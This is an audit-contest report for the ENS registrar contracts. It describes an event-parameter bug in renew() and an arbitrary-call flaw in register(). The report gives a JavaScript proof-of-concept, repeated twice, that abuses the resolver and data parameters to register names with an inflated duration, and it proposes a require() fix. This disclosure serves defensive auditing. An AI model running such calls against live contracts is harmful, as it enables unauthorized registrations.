ENS contest - bin2chen's results

Judge has assessed an item in Issue #143 as Medium risk. The relevant finding follows:

2.ETHRegistrarController.register() can pass any "resolver" and "data" parameters , then ETHRegistrarController do "functionCall "

It is possible to pass malicious parameters example :

resolver = baseRegistrar.address, and data = baseRegistrar.register() then will register a “weird” ens

    var tx = await controller.register(
      "testtest",
      registrantAccount,
      REGISTRATION_TIME,
      secret,
      baseRegistrar.address,        //********resolver = baseRegistrar.address *******//
      [
        baseRegistrar.interface.encodeFunctionData(      //********data = baseRegistrar.register() *******//
          "register(uint256,address,uint256)",
          [
            namehash.hash("testtest.eth"),
            registrantAccount,
            REGISTRATION_TIME * 10000,
          ]
        ),
      ],
      false,
      0,
      0,
      { value: BUFFERED_REGISTRATION_COST }
    );

Recommendation add：

        require(
            resolver != address(base) &&
            resolver != address(nameWrapper) &&
            resolver != address(this)
        );

1.ETHRegistrarController.renew() passing the wrong event NameRenewed parameters "cost" https://github.com/code-423n4/2022-07-ens/blob/ff6e59b9415d0ead7daf31c2ed06e86d9061ae22/contracts/ethregistrar/ETHRegistrarController.sol#L207

    function renew(string calldata name, uint256 duration)
        external
        payable
        override
    {
     
        .....
        emit NameRenewed(name, label, msg.value, expires);     /****  change to: emit NameRenewed(name, label, price.base, expires);  ****/
        .....
    }

2.ETHRegistrarController.register() can pass any "resolver" and "data" parameters , then ETHRegistrarController do "functionCall "

It is possible to pass malicious parameters example :

resolver = baseRegistrar.address, and data = baseRegistrar.register() then will register a “weird” ens

    var tx = await controller.register(
      "testtest",
      registrantAccount,
      REGISTRATION_TIME,
      secret,
      baseRegistrar.address,        //********resolver = baseRegistrar.address *******//
      [
        baseRegistrar.interface.encodeFunctionData(      //********data = baseRegistrar.register() *******//
          "register(uint256,address,uint256)",
          [
            namehash.hash("testtest.eth"),
            registrantAccount,
            REGISTRATION_TIME * 10000,
          ]
        ),
      ],
      false,
      0,
      0,
      { value: BUFFERED_REGISTRATION_COST }
    );

Recommendation add：

        require(
            resolver != address(base) &&
            resolver != address(nameWrapper) &&
            resolver != address(this)
        );